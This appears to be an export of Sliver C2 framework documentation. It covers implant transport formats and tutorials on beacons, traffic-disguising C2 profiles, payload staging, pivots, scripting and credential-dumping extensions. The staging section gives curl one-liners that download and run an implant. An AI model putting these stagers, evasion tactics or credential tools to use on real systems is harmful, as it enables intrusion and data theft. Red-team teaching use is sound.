Scope: This is about implant callbacks over the wg listener, not operator multiplayer mode.
Listener and Tunnel Setup
Server-side setup is implemented in server/c2/wireguard.go (StartWGListener):
- Creates a netstack TUN with server-side tunnel IP
100.64.0.1. - Loads or generates server WireGuard keys.
- Configures a WireGuard device with known peer keys and
/32allowed IPs. - Starts two TCP listeners inside the WireGuard tunnel:
- key exchange port (default
1337) - C2 transport port (default
8888)
- key exchange port (default
- Exposes the WireGuard UDP listener (default
53).
Defaults come from server/rpc/rpc-jobs.go:
- WireGuard UDP listener:
53 - In-tunnel C2 TCP port (
NPort):8888 - In-tunnel key exchange TCP port (
KeyPort):1337
Implant Connection Sequence
Implant-side transport is implemented in implant/sliver/transports/wireguard/wireguard.go:
- The implant is generated with embedded WireGuard values:
- initial implant private key
- server public key
- peer TUN IP
- key-exchange and C2-in-tunnel ports
- Implant brings up an initial WireGuard interface using those embedded values.
- Implant dials the server key-exchange endpoint at
100.64.0.1:<key-exchange-port>. - Server returns session WireGuard material and a session tunnel IP.
- Implant tears down the initial WireGuard interface.
- Implant brings up a new WireGuard interface using the session values.
- Implant dials
100.64.0.1:<tcp-comms-port>. - Implant sends
MUX/1yamux preface and starts yamux.
After repeated failures, the implant will refresh session keys by running key exchange again.
Key Exchange Payload Format
The key-exchange response payload is a fixed 146-byte message:
%%{init: {'packet': {'bitsPerRow': 40, 'bitWidth': 24, 'rowHeight': 72}}}%%
packet-beta
title WireGuard Session Key Exchange Payload (146 bytes)
0-63: "Sess PrivKey (hex)"
64: "|"
65-128: "Server PubKey (hex)"
129: "|"
130-145: "Sess TUN IP (16B)"Notes:
Sess PrivKey (hex)is the new implant WireGuard private key (64 hex chars).Server PubKey (hex)is the server WireGuard public key (64 hex chars).Sess TUN IP (16B)is rawnet.IPbytes (not dotted string encoding).
C2 Envelope Wire Format (Per Yamux Stream)
Each yamux stream carries a single framed envelope:
[raw minisign signature | uint32 little-endian payload length | protobuf envelope payload]
%%{init: {'packet': {'bitsPerRow': 32, 'bitWidth': 30, 'rowHeight': 72}}}%%
packet-beta
title WireGuard C2 Envelope Frame (byte offsets, per yamux stream)
0-1: "Alg"
2-9: "Key ID"
10-73: "Ed25519 Signature"
74-77: "Len"
78-109: "Payload (protobuf sliverpb.Envelope, continues...)"Notes:
- Diagram offsets are bytes (not bits) for readability.
Alg= LEuint16(0x6445, EdDSA).Key ID= LEuint64.Len= LEuint32protobuf payload length.- Raw signature size is fixed at 74 bytes:
2 + 8 + 64. - Length is payload length only (it does not include signature bytes).
Envelope Payload
The payload is sliverpb.Envelope from protobuf/sliverpb/sliver.proto:
ID(int64) request/response correlationType(uint32) message typeData(bytes) message bodyUnknownMessageType(bool) set by implants for unsupported message types
Message Authentication Details
Like mTLS, WireGuard C2 signs each envelope payload in addition to transport-layer encryption.
Implant -> Server
- Implant signs marshaled envelope payloads in
implant/sliver/transports/wireguard/wireguard.go(WriteEnvelope). - Signing key derivation is deterministic from implant
PeerPrivateKey:- seed =
sha256("env-signing-v1:" + peerPrivateKey) - ed25519 keypair from that seed
- key ID = first 8 bytes of
blake2b(pubKey)as LEuint64
- seed =
- Server verifies in
server/c2/wireguard.go(socketWGReadEnvelope) by:- checking
EdDSAalgorithm - resolving key ID to an implant signing public key
- verifying signature with ed25519
- checking
Server -> Implant
- Server signs payloads in
server/c2/wireguard.go(socketWGWriteEnvelope) using server minisign private key. - Implant verifies in
implant/sliver/transports/wireguard/wireguard.go(ReadEnvelope) using embedded server minisign public key (MinisignVerifyRaw).
Runtime Behavior
- Server rejects legacy WireGuard C2 connections that do not send the
MUX/1preface. - Session mode sends in-band pings every 2 minutes (
PingInterval) usingMsgPing. - Beacon mode and session mode both use one envelope per yamux stream.
- Server enforces max inbound payload size of
(2 * 1024 * 1024 * 1024) - 1bytes.
Sliver Docs Pages Docs Md MTLS C2 (`docs/sliver-docs/pages/docs/md/mTLS C2.md`)
This page documents the current implant C2 mTLS transport implementation used between server/ and implant/ code paths.
Scope: This is about implant callbacks over the mtls listener, not operator multiplayer gRPC/mTLS mode.
Connection Setup
The server listener implementation lives in server/c2/mtls.go (StartMutualTLSListener):
- Starts a TLS listener (
tls.Listen) for the configured bind/port. - Requires and verifies client certificates (
ClientAuth: tls.RequireAndVerifyClientCert). - Uses the implant mTLS CA (
certs.MtlsImplantCA) and enforces TLS 1.3 (MinVersion: tls.VersionTLS13).
The implant-side transport lives in implant/sliver/transports/mtls/mtls.go (MtlsConnect / getTLSConfig):
- Dials TLS with an embedded implant cert/key and CA bundle.
- Uses root validation via
RootOnlyVerifyCertificate(...). - Sends a yamux preface string (
MUX/1) after TLS connects.
After the preface, both sides use yamux multiplexing:
- Server:
yamux.Server(...)inserver/c2/mtls.go - Implant session/beacon:
yamux.Client(...)inimplant/sliver/transports/session.goandimplant/sliver/transports/beacon.go
Each C2 envelope is sent over a yamux stream and then the stream is closed.
mTLS Wire Format (Per Yamux Stream)
Each stream carries a single framed message:
[raw minisign signature | uint32 little-endian payload length | protobuf envelope payload]
%%{init: {'packet': {'bitsPerRow': 32, 'bitWidth': 30, 'rowHeight': 72}}}%%
packet-beta
title mTLS C2 Envelope Frame (byte offsets, per yamux stream)
0-1: "Alg"
2-9: "Key ID"
10-73: "Ed25519 Signature"
74-77: "Len"
78-109: "Payload (protobuf sliverpb.Envelope, continues...)"Notes:
- Diagram offsets are bytes (not bits) for readability.
Alg= LEuint16(0x6445, EdDSA).Key ID= LEuint64.Len= LEuint32protobuf payload length.- Raw signature size is fixed at 74 bytes:
2 + 8 + 64. - Length is the protobuf payload length only (it does not include signature bytes).
Envelope Payload
The payload is sliverpb.Envelope from protobuf/sliverpb/sliver.proto:
ID(int64) request/response correlationType(uint32) message typeData(bytes) message bodyUnknownMessageType(bool) set by implants for unsupported message types
Message Authentication Details
Sliver signs each envelope payload even though the channel is already mTLS-protected.
Implant -> Server
- Implant signs the marshaled
sliverpb.Envelopepayload inimplant/sliver/transports/mtls/mtls.go(WriteEnvelope). - Signing key derivation is deterministic from the implant peer private key:
- seed =
sha256("env-signing-v1:" + peerPrivateKey) - ed25519 keypair from that seed
- key ID = first 8 bytes of
blake2b(pubKey)as little-endian uint64
- seed =
- Server verifies in
server/c2/mtls.go(socketReadEnvelope):- algorithm must be
EdDSA - key ID resolves to an implant signing public key via implant build metadata
- signature is verified with ed25519
- algorithm must be
Server -> Implant
- Server signs payloads in
server/c2/mtls.go(socketWriteEnvelope) using the server minisign private key (SignRawBuf). - Implant verifies in
implant/sliver/transports/mtls/mtls.go(ReadEnvelope) using the embedded server minisign public key (MinisignVerifyRaw).
Runtime Behavior
- Server rejects legacy mTLS connections that do not send the
MUX/1preface. - Session mode sends in-band pings every 2 minutes (
PingInterval) usingMsgPing. - Server enforces a max inbound payload size of
(2 * 1024 * 1024 * 1024) - 1bytes.
Sliver Docs Pages Tutorials Md 1 Getting Started (`docs/sliver-docs/pages/tutorials/md/1 - Getting Started.md`)
sliver-server is the binary you want to use to run the Sliver C2 server, sliver-client is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you donโt necessarily run sliver server and client separately.
First time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the sliver-server.
{"src": "/asciinema/startup.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}Let's take a couple minutes to discuss what Sliver actually is and how it's set up.
Now that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now weโre going to run everything on the local host.
Here's what we're going to do:
- Generate your implant using the
generatecommand as shown below. - Start HTTP listener on port 80
- Execute implant in a separate terminal
{"src": "/asciinema/first-implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}Now letโs select our implant and run our first command using the use command.
[server] sliver > use
? Select a session or beacon:
SESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64
[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)
[server] sliver (RELATED_EARDRUM) > pwd
[*] /Users/tester/toolsOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the -h flag then try it out!
Exploring and interacting with the filesystem
Filesystem
cat Dump file to stdout
cd Change directory
cp Copy a file
download Download a file
grep Search for strings that match a regex within a file or directory
head Grab the first number of bytes or lines from a file
ls List current directory
mkdir Make a directory
mv Move or rename a file
pwd Print working directory
rm Remove a file or directory
tail Grab the last number of bytes or lines from a file
upload Upload a file{"src": "/asciinema/filesystem.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}Getting some environmental information
Info
env List environment variables
getgid Get session process GID
getpid Get session pid
getuid Get session process UID
info Get session info
ping Send round trip message to implant (does not use ICMP)
whoami Get session user execution contextExecute a binary
{"src": "/asciinema/execute.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}Running an interactive shell
{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}Not all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:
mount Get information on mounted filesystems (only for Windows and Linux)
screenshot Take a screenshot (only for Windows and Linux)
memfiles List current memfiles (Linux only)This is an open-source project if you see a bug please file an issue! Pull requests are always welcome.
Sliver Docs Pages Tutorials Md 2 Beacons Vs Sessions (`docs/sliver-docs/pages/tutorials/md/2 - Beacons vs Sessions.md`)
Sliver implants support two types of connections, sessions and beacons.
Sessions provide interactive communication with the server; connection and polling behavior depend on the selected transport. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.
Typically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.
Letโs start with generating and deploying a beacon using http.
{"src": "/asciinema/beacon_generation.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}You can see the beacon callback times either in the info command or using beacons watch.
[server] sliver > beacons watch
ID Name Transport Username Operating System Last Check-In Next Check-In
========== =============== =========== ================= ================== =============== ===============
942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12sBeacon callback times and jitter can be set either during generation or on the fly using the reconfig command.
The example below sets the callback time to 5s with a 1s jitter.
[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s
[*] Tasked beacon TIRED_GIRAFFE (b8aa6fd8)
[+] TIRED_GIRAFFE completed task b8aa6fd8
[*] Reconfigured beacon
[server] sliver (TIRED_GIRAFFE) > info
Beacon ID: 942c647c-8409-4877-9fa2-b84a7f27ad45
Name: TIRED_GIRAFFE
Hostname: tester.local
UUID: c6de1a44-016a-5fbe-b76a-da56af41316d
Username: tester
UID: 501
GID: 20
PID: 55879
OS: darwin
Version:
Locale:
Arch: amd64
Active C2: https://127.0.0.1
Remote Address: 127.0.0.1:51803
Proxy URL:
Interval: 1m0s
Jitter: 30s
First Contact: Wed Apr 19 01:14:21 CEST 2023 (10m30s ago)
Last Checkin: Wed Apr 19 01:18:20 CEST 2023 (6m31s ago)
Next Checkin: Wed Apr 19 01:19:46 CEST 2023 (5m5s ago)Commands issued for beacons can be viewed using tasks, the task state will indicate whether the command has completed or not. The results of previously run tasks can be viewed using tasks fetch.
{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}Session can be spun up in our beacon process using the interactive command. Under the hood this will spawn a goroutine running session connection loop in the same beacon process.
{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}Because of the differences between sessions and beacons, certain commands like upload or download are slower on beacons due to the callback time. Others such as socks5 are only supported for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
Letโs switch to our newly created session and spin-up a socks5 proxy.
[server] sliver (TIRED_GIRAFFE) > use
? Select a session or beacon: SESSION 131a60b9 TIRED_GIRAFFE 127.0.0.1:51969 tester.local tester darwin/amd64
[*] Active session TIRED_GIRAFFE (131a60b9-db4f-4913-9064-18a17a0f09ab)
[server] sliver (TIRED_GIRAFFE) > socks5 start
[*] Started SOCKS5 127.0.0.1 1081
โ ๏ธ In-band SOCKS proxies can be a little unstable depending on protocolYou can then point your browser to port 1081 to tunnel traffic through the implant to your targetโs local network.
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session thread using the close command.
Sliver Docs Pages Tutorials Md 3 C2 Profiles And Configuration (`docs/sliver-docs/pages/tutorials/md/3 - C2 Profiles and configuration.md`)
When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile.
For example if configured to use /admin and /demo as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
C2 profile configurations can be seen using the c2profile command, which also has import and export features.
The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.
Lets imagine weโre trying to breach a customer and want to look like we're talking to Wordpress.
We would want to update the session messages and staging with something more realistic and replace all references to woff for example with something less suspicious like css, js or php.
We would also use a list of common Urls and filenames for Wordpress like https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt for the files and paths variables. You could alternatively reuse Urls discovered while enumerating your target's external perimeter in a similar way.
You can use c2profiles generate -f urls-wordpress-3.3.1.txt -n wordpress -i to generate a new c2 profile using the urls we just downloaded. By default this command will use the default c2 profile as a template for all other variables, if you want to edit any of those you can export and re-import the modified profile.
At this point we can generate a new implant using our new profile.
{"src": "/asciinema/implant_custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}If we review the debug logs of our implant we can see that the connections now use our new profile.
{"src": "/asciinema/implant_debug_logs.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}Ideally during engagements your recon phase should inform your C2 infrastructure, reusing similar hosting providers, technologies and communication protocols can help your implant fly under the radar.
Sliver Docs Pages Tutorials Md 4 HTTP Payload Staging (`docs/sliver-docs/pages/tutorials/md/4 - HTTP Payload staging.md`)
When using Sliver during a live engagement, youโre going to need to use custom stagers, which are essentially a first binary or commandline that will retrieve and/or load Sliver into memory on your target system. Sliver can generate shellcode for your stager to execute by using the profiles command.
For this exercise, we will create a new beacon profile and prepare to stage it.
{"src": "/asciinema/create_profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}If you look at the generated implant, you'll notice the ID field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
https://sliver-ip/definitely/not/malware?x=yourIDThere is a lot of flexibility in the form of this URL, the conditions for successful staging are:
- There has to be http url parameter containing the implant ID
- The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
To expose a payload, you need to use the implants stage command and specifically select the implant to leave accessible.
{"src": "/asciinema/stage_implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}At this point we can try retrieving our implant. The ID is 19778.
{"src": "/asciinema/implant_curl.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}Sliver staging also supports encoding or encrypting our payloads before exposing them externally using the profile stage command, the implant configuration remains the same but you are now able to stage different versions of it simultaneously.
{"src": "/asciinema/stage_compress_encrypt.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}A simple stager could look like this, for example in Linux:
curl http://localhost/nothingtoseehere.yml?c=1234 --output nothingtoseehere && chmod u+x nothingtoseehere &&nohup ./nothingtoseehereOr on Windows:
curl http://172.20.10.3/test.woff?a=29178 -o t.exe && .\t.exeSliver Docs Pages Tutorials Md 5 Pivots (`docs/sliver-docs/pages/tutorials/md/5 - Pivots.md`)
Pivots allow routing implant traffic through other implants. This can be useful in environments that donโt have any outbound access, but are reachable from other parts of the network that you have access to.
Sliver supports two types of pivots: TCP, which can be used on all operating systems, and named pipes, which are Windows-only.
In both cases the workflow is relatively similar, as a first step, select a session and set up a pivot listener.
[server] sliver (INNER_GO-KART) > pivots tcp
[*] Started tcp pivot listener :9898 with id 1
[server] sliver (INNER_GO-KART) > pivots
ID Protocol Bind Address Number Of Pivots
==== ========== ============== ==================
1 TCP :9898 0The listening port and interface can be configured during creation.
The next step is to generate a payload that will connect to our listener.
[server] sliver (INNER_GO-KART) > generate --tcp-pivot 127.0.0.1 --os macos
[*] Generating new darwin/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 12s
[*] Implant saved to /Users/tester/tools/VALUABLE_SICKExecuting this payload will cause it to connect back through our original implant and then back to our C2 server.
{"src": "/asciinema/tcppivot.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}As mentionned before named pipe pivots use a similar process, first you need to create a listener:
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1You can then generate an implant connecting to it
sliver > generate --os windows --debug --skip-symbols --named-pipe ./pipe/foobar
[*] Generating new windows/amd64 implant binary
[*] Build completed in 1s
[*] Implant saved to /Users/tester/code/sliver/PROPER_SING.exeSliver Docs Pages Tutorials Md 6 Scripting (`docs/sliver-docs/pages/tutorials/md/6 - Scripting.md`)
Reactions are a basic way to automate tasks in the sliver console, they allow you to specify sliver commands to run on a list of events.
Reactable Events:
session-connected Triggered when a new session is opened to a target
session-updated Triggered on changes to session metadata
session-disconnected Triggered when a session is closed (for any reason)
canary Triggered when a canary is burned or created
watchtower Triggered when implants are discovered on threat intel platforms
loot-added Triggered when a new piece of loot is added to the server
loot-removed Triggered when a piece of loot is removed from the serverLetโs go ahead and create a reaction to list the current directory and environment variables when a new session checks in.
reaction set -e "session-connected"
[*] Setting reaction to: Session Opened
? Enter commands: [Enter 2 empty lines to finish]pwd
env
? Enter commands:
pwd
env
[*] Set reaction to session-connected (id: 1)The reaction is now set, if you spin up a new session these commands will be automatically run on that sessionโs initial connection.
[*] Session 99c7a639 UNEXPECTED_PORTER - 127.0.0.1:59966 (test.local) - darwin/amd64 - Thu, 04 May 2023 09:04:58 CEST
[*] Execute reaction: 'pwd'
[*] /Users/tester
[*] Execute reaction: 'env'
PWD=/Users/tester
COLORTERM=truecolor
...You can remove reactions using reaction unset.
However, there are a couple of limitations to keep in mind when using reactions, first off, these are run in the console you are currently using, which is not necessarily the server console. So if you are connected to a sliver server using the sliver client, if you disconnect the client the reactions are no longer running.
Secondly reactions are a relatively basic mechanism, you canโt use any conditional statements or more complex background tasks with them. For more complex use-cases you can instead write your own client in Python or Typescript for example to connect to the server over gRPC, which weโll cover next.
Sliver-py
For the purposes of this tutorial weโll write our extensions using Python3, however the same result is achievable using Typescript, Golang or any other language that can handle gRPC.
First, install the sliver-py extension using pip.
pip3 install sliver-pySince our extension is essentially going to be another client connection to the sliver server, youโll also need to enable multiplayer mode and generate a new profile.
Sliver defaults to direct gRPC/mTLS multiplayer, which is compatible with this third-party Python client. Start the listener and generate the operator profile without the optional WireGuard flag:
[server] sliver > multiplayer
[*] Multiplayer mode enabled!
[server] sliver > new-operator -n tester -l 127.0.0.1 --permissions all
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/tester/tools/tester_127.0.0.1.cfgWe now have everything we need to start writing our scripts, letโs run our first example interactively in a Python shell.
We first need to import a few dependencies, SliverClientConfig, which is used to parse the client config weโve just created, and SliverClient, which will handle the connection to the backend server.
Python 3.9.16 (main, Dec 7 2022, 10:06:04)
Type 'copyright', 'credits' or 'license' for more information
IPython 8.0.1 -- An enhanced Interactive Python. Type '?' for help.
In [1]: from sliver import SliverClientConfig, SliverClient
In [2]: DEFAULT_CONFIG = "/Users/tester/tools/tester_127.0.0.1.cfg"
In [3]: config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
In [4]: client = SliverClient(config)
In [5]: await client.connect()
Out[5]:
Major: 1
Minor: 5
Patch: 37
Commit: "0a43dc688ffb31a0a38511c47e8547a44a6918d4"
CompiledAt: 1681408237
OS: "darwin"
Arch: "arm64"From this point on we can use the client object to interact with the server, letโs start with listing any sessions or beacons that might be currently connected.
In [6]: beacons = await client.beacons()
In [7]: sessions = await client.sessions()
In [8]: beacons
Out[8]: []
In [9]: sessions
Out[9]:
[ID: "f80ec897-0870-4f03-a1b1-364e5a0d243c"
Name: "UNEXPECTED_PORTER"
Hostname: "test.local"
UUID: "c6de1a44-016a-5fbe-b76a-da56af41316d"
Username: "tester"
UID: "501"
GID: "20"
OS: "darwin"
Arch: "amd64"
Transport: "http(s)"
RemoteAddress: "127.0.0.1:60218"
PID: 74773
Filename: "/Users/tester/tools/UNEXPECTED_PORTER"
LastCheckin: 1683185925
ActiveC2: "http://127.0.0.1"
ReconnectInterval: 60000000000
PeerID: 4416183373589698218
FirstContact: 1683185429]To run commands on this session youโll need to create an InteractiveSession object.
In [10]: interact = await client.interact_session("f80ec897-0870-4f03-a1b1-364e5a0d243c")
In [11]: await interact.pwd()
Out[11]: Path: "/Users/tester"Now that weโve got the basics of connecting to sliver and running commands down letโs write a more useful script that will display the hosts file when a new session checks in. Our goal is to first identify the Operating System, and then based on that retrieve and display the contents of the hosts file if it exists. Because this script will wait and react to events emitted by the Sliver server, weโre going to use asyncio to write our client.
#!/usr/bin/env python3
import os
import asyncio
from sliver import SliverClientConfig, SliverClient
import gzip
DEFAULT_CONFIG = "/Users/tester/tools/neo_127.0.0.1.cfg"
async def main():
''' Client connect example '''
config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
client = SliverClient(config)
await client.connect()
async for event in client.on('session-connected'):
print('Session %s just connected !' % event.Session.ID)
if __name__ == '__main__':
loop = asyncio.get_event_loop()
loop.run_until_complete(main())As shown above we can access the session object through event.Session. Letโs go ahead and add a few conditions based on the operating system.
if event.Session.OS == "darwin":
print('Session is running on macOS')
elif event.Session.OS == "Linux":
print('Session is running on Linux')
elif event.Session.OS == "Windows"
print('Session is running on Windows')
else:
print('Session is running on %s', event.Session.OS)Letโs set up an InteractiveSession object like previously.
interact = await client.interact_session(event.Session.ID)Weโre going to start with writing the code for Linux and macOS, since in their case the file is located in the same place. First we check if the file exists, then we download and decompress it to display its contents using gzip.
file_listing = await interact.ls("/etc/hosts")
if file_listing.Exists:
gzipFile = await interact.download("/etc/hosts")
contents = gzip.decompress(gzipFile.Data)
print('%r' % contents)The code for Windows is relatively similar the only major difference being the file location.
file_listing = await interact.ls("C:/Windows/System32/drivers/etc/hosts")
if file_listing.Exists:
gzipFile = await interact.download("C:/Windows/System32/drivers/etc/hosts")
contents = gzip.decompress(gzipFile.Data)
print('%r' % contents)If we run our script and spin up a few sessions we should start to see hosts files being retrieved.
python3.11 autocat.py
Automatically interacting with session 16338c85-b670-44ab-ac83-2df885654b07
b"# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# ...
Automatically interacting with session 93fcbab2-f00d-44a4-944a-e1ea8ec324e2
b'##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1...Sliver Docs Pages Tutorials Md 7 Assemblies And Bofs (`docs/sliver-docs/pages/tutorials/md/7 - Assemblies and Bofs.md`)
The Sliver armory is used to install and maintain third party extensions and aliases within sliver. The full list of available extensions can be found at https://github.com/sliverarmory/armory, keep in mind this is community maintained so not all modules are necessarily up to date.
You can download all configured extensions/aliases using the armory command.
[server] sliver > armory install all
? Install 18 aliases and 84 extensions? Yes
[*] Installing alias 'SharpSecDump' (v0.0.1) ... done!
[*] Installing alias 'SharpChrome' (v0.0.1) ... done!
[*] Installing alias 'SharpDPAPI' (v0.0.1) ... done!
[*] Installing alias 'SharpMapExec' (v0.0.1) ... done!
[*] Installing alias 'KrbRelayUp' (v0.0.1) ... done!
[*] Installing alias 'SharpRDP' (v0.0.1) ... done!
[*] Installing alias 'SharpUp' (v0.0.1) ... done!
[*] Installing alias 'SharpView' (v0.0.1) ... done!
[*] Installing alias 'SharPersist' (v0.0.1) ... done!
[*] Installing alias 'Sharp WMI' (v0.0.2) ... done!
...
[*] All packages installedThese commands can then be used in the context of a session or beacon similarly to other commands, with a couple caveats.
Letโs go ahead and run our first assembly.
[server] sliver (UNABLE_PRIDE) > seatbelt " WindowsCredentialFiles"
[*] seatbelt output:
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
====== WindowsCredentialFiles ======
Folder : C:\Users\defaultuser0\AppData\Local\Microsoft\Credentials\
...As you can see Sliver ran the Seatbelt assembly and provided us with the output of our command.
Bofโs
The transcript below shows the legacy COFF Loader path. Current Sliver supports built-in Reflektor execution, with legacy loader compatibility depending on the package and component versions. See BOF and COFF Support for current behavior.
/* Detailed source-code truncated for AI context efficiency. */Since these payloads are run in-process, they have similar advantages and drawbacks as in-process assemblies, meaning no new processes are spawned on execution, but a crash risks losing the implant.
--- METRICS ---
- Files Extracted: 56
- Estimated Token Budget: ~63960 tokens
- Canonical Reference: https://codewiki.google/github.com/BishopFox/sliver